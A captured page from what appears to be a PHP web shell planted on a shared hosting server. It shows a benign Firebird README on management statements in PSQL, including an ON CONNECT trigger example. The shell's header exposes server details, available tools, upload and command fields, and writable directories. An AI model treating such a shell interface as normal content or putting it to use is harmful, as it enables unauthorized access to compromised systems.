403Webshell
Server IP : 104.21.13.164  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/firebird/sql.extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/firebird/sql.extensions/README.management_statements_psql.md
# Management Statements in PSQL

Before Firebird 4, management statements were not allowed inside PSQL blocks. They were allowed only as top-level SQL statements, or as top-level statement of an `EXECUTE STATEMENT` embedded in a PSQL block.

Now they are allowed inside PSQL blocks (triggers, procedures, execute block) directly.

As many applications depends that some management statements be issued on the connection start, `ON CONNECT` triggers is a good place to put them in this situation.

The management statements part of this improvement are:
- `ALTER SESSION RESET`
- `SET BIND OF ... TO`
- `SET DECFLOAT ROUND`
- `SET DECFLOAT TRAPS TO`
- `SET ROLE`
- `SET SESSION IDLE TIMEOUT`
- `SET STATEMENT TIMEOUT`
- `SET TIME ZONE`
- `SET TRUSTED ROLE`

## Examples

```sql
create or alter trigger on_connect on connect
as
begin
    set bind of decfloat to double precision;
    set time zone 'America/Sao_Paulo';
end
```

Youez - 2016 - github.com/yon3zu
LinuXploit